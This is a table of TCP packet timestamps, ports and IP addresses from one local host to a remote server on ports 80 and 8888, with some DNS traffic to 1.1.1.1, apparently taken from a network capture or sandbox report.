Jan 11, 2025 04:35:38.074954987 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074964046 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074990034 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075025082 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075025082 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075059891 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075093985 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075102091 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075134039 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075170994 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075200081 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075233936 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075268984 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075278997 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075339079 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075381041 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075422049 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075458050 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075490952 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075500011 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075525999 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075568914 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075572968 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075613022 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075645924 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075651884 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075681925 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075779915 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075788975 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075834036 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075874090 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.075922966 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.075973034 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076013088 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076026917 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076061010 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076108932 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076114893 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076179981 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076212883 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076225042 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076248884 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076282978 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076286077 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076333046 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076369047 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076386929 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076402903 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076448917 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076505899 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076554060 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076587915 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076592922 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076622009 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076657057 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076661110 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076694965 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076708078 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076728106 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076741934 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.076777935 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.076777935 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.079704046 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.105659962 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.105698109 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.105721951 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.105734110 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.105786085 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.105824947 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.105931997 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.105967999 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.105976105 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.105998039 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.106040955 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.122601032 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.122637033 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.132921934 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.132942915 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.132961035 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.132988930 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.133033037 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133050919 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133066893 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133079052 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.133084059 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133111954 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.133193016 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133208990 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133224964 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133234978 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.133239985 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133270025 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.133294106 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133308887 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133325100 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133335114 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.133339882 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.133366108 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.135226965 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.135243893 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.135258913 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.135272026 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.135305882 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.135416985 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.135433912 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.135448933 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.135466099 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.135817051 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.135817051 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.138601065 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.165343046 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165383101 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165417910 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165456057 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165472031 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.165492058 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165509939 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.165529966 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165585041 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165587902 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.165621996 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165657043 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165674925 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.165712118 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165766001 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165766954 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.165802956 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165855885 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.165859938 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.165893078 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166009903 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166057110 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166111946 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166165113 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166173935 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166201115 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166239023 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166249990 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166274071 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166309118 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166338921 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166346073 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166378975 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166392088 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166434050 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166470051 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166490078 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166516066 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166563988 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166568041 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166620016 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166656017 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166665077 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166692972 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166740894 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166745901 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166783094 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166817904 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166829109 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166853905 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166906118 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.166907072 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166941881 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166973114 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.166990995 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167011976 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167047977 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167061090 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167082071 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167133093 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167159081 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167191029 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167242050 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167244911 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167279959 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167327881 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167331934 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167387009 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167422056 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167434931 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167457104 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167500973 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167510986 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167545080 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167581081 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167589903 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167615891 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167659998 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167669058 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167700052 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167735100 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167762041 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167769909 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167804956 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167819023 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167840004 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167874098 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167889118 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167910099 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167944908 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.167959929 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.167979956 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168016911 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168028116 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168051958 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168087959 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168095112 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168123960 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168167114 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168171883 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168251991 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168298006 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168308020 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168343067 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168378115 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168387890 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168414116 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168458939 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168481112 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168510914 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168559074 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168562889 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168600082 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168646097 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168653965 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168690920 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168723106 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168739080 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168760061 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168803930 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168811083 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168848038 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168881893 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168894053 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168919086 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168956041 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.168963909 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.168992043 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169028044 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169040918 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.169065952 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169100046 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169111967 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.169136047 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169171095 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169192076 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.169205904 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169239998 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169259071 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.169312954 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.169363022 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.170542002 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225296021 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225332022 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225387096 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225395918 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225440979 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225471973 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225492954 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225526094 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225578070 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225615025 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225667953 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225708008 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225723982 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225743055 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225781918 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225791931 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225814104 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225847006 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225861073 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225912094 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225946903 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.225961924 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.225982904 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.226018906 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.226030111 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.227598906 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227653027 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227659941 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.227689981 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227737904 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.227788925 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227844000 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227874994 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227890968 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.227910995 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227951050 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.227958918 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.227981091 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.228030920 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.257725000 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.257781029 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.257817030 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.257849932 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.257853985 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.257901907 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.257910013 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.257944107 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.257997036 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258003950 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258033037 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258069038 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258084059 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258136988 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258191109 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258191109 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258228064 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258260965 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258275986 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258311987 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258359909 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258364916 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258404016 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258438110 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258446932 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258451939 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258472919 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258508921 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258522034 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258558989 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258569002 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.258589029 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.258631945 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.367238998 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.921057940 CET	49738	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.926067114 CET	8888	49738	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.926181078 CET	49738	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.926899910 CET	49738	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.931673050 CET	8888	49738	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:39.730292082 CET	8888	49738	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:39.785428047 CET	49738	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:40.562779903 CET	49738	8888	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:51.251914024 CET	55824	53	192.168.2.11	1.1.1.1
Jan 11, 2025 04:35:51.258498907 CET	53	55824	1.1.1.1	192.168.2.11
Jan 11, 2025 04:35:51.258626938 CET	55824	53	192.168.2.11	1.1.1.1
Jan 11, 2025 04:35:51.263441086 CET	53	55824	1.1.1.1	192.168.2.11
Jan 11, 2025 04:35:51.749465942 CET	55824	53	192.168.2.11	1.1.1.1
Jan 11, 2025 04:35:51.754460096 CET	53	55824	1.1.1.1	192.168.2.11
Jan 11, 2025 04:35:51.754512072 CET	55824	53	192.168.2.11	1.1.1.1

UDP Packets

